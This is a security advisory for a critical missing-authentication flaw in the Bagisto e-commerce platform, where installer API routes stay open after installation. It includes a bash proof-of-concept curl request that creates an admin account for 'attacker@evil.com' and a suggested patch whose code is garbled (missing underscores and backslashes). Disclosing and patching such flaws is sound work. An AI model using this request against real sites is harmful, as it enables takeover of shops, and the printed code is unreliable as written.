PT-2026-6381 — Missing Authentication in Packagist Bagisto/Bagisto

PT-2026-6381 · Packagist · Bagisto/Bagisto

Published

2026-01-02

Updated

2026-01-02

CVSS v3.1

9.8

Critical

Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vulnerable Code

File: packages/Ibkul/Installer/src/Routes/Ib.php

<?php

use IlluminateSessionMiddlewareStartSession; 
use IlluminateSupportFacadesRoute; 
use IbkulInstallerHttpControllersInstallerController;

Route::middleware(['Ib', 'installer locale'])->group(function () { 
  Route::controller(InstallerController::class)->group(function () { 
    Route::get('install', 'index')->name('installer.index');

    Route::middleware(StartSession::class)->prefix('install/api')->group(function () { 
      Route::post('env-file-setup', 'envFileSetup')->name('installer.env file setup'); 
      Route::post('run-migration', 'runMigration')->name('installer.run migration')->withoutMiddleware('Ib'); 
      Route::post('run-seeder', 'runSeeder')->name('installer.run seeder')->withoutMiddleware('Ib'); 
      Route::get('download-sample', 'downloadSample')->name('installer.download sample')->withoutMiddleware('Ib'); 
      Route::post('admin-config-setup', 'adminConfigSetup')->name('installer.admin config setup')->withoutMiddleware('Ib'); 
      Route::post('sample-products-setup', 'createSampleProducts')->name('installer.sample products setup')->withoutMiddleware('Ib'); 
    }); 
  }); 
});

API routes remain active even after initial installation is complete, allowing any unauthenticated attacker to:

Create admin accounts
Modify application configuration
Potentially overwrite existing data

the underlying API endpoints (/install/api/*) are directly accessible and exploitable without any authentication. An attacker can bypass the Ib installer entirely by calling the API endpoints directly.

How to Reproduce

The Ib installer UI at http://localhost:8000/install has client-side protections
However, the API endpoints are directly exploitable:

The attack works by calling /install/api/admin-config-setup directly via curl/HTTP client
No CSRF token, session, or authentication is required
The Ib UI workflow is completely bypassed

Proof of Concept

#!/bin/bash
# PoC: Create admin account without authentication


TARGET="http://localhost:8000"


# Create a new admin account
curl -X POST "$TARGET/install/api/admin-config-setup" 
  -H "Content-Type: application/json" 
  -d '{
    "admin name": "Attacker",
    "admin email": "attacker@evil.com",
    "admin password": "HackedPassword123"
  }'


echo ""
echo "New admin account created!"
echo "Login at: $TARGET/admin"
echo "Email: attacker@evil.com"

Expected Result

The API should reject unauthenticated requests with 401/403 status.

Actual Result

The API accepts the request and creates a new admin account, allowing full administrative access to the e-commerce platform.

Recommended Patch

Add installation completion check

// In InstallerController.php or a new middleware


public function  construct()
{
  // Check if application is already installed
  if (file exists(base path('.env')) &&
    config('app.key') &&
    Schema::hasTable('admins') &&
    DB::table('admins')->count() > 0) {
    abort(404, 'Application already installed');
  }
}

Fix

Missing Authentication

Found an issue in the description? Have something to add? Feel free to write us 👾

dbugs@ptsecurity.com

Weakness Enumeration

CWE-306

Related Identifiers

GHSA-6H7W-V2XR-MQVW

Affected Products

Bagisto/Bagisto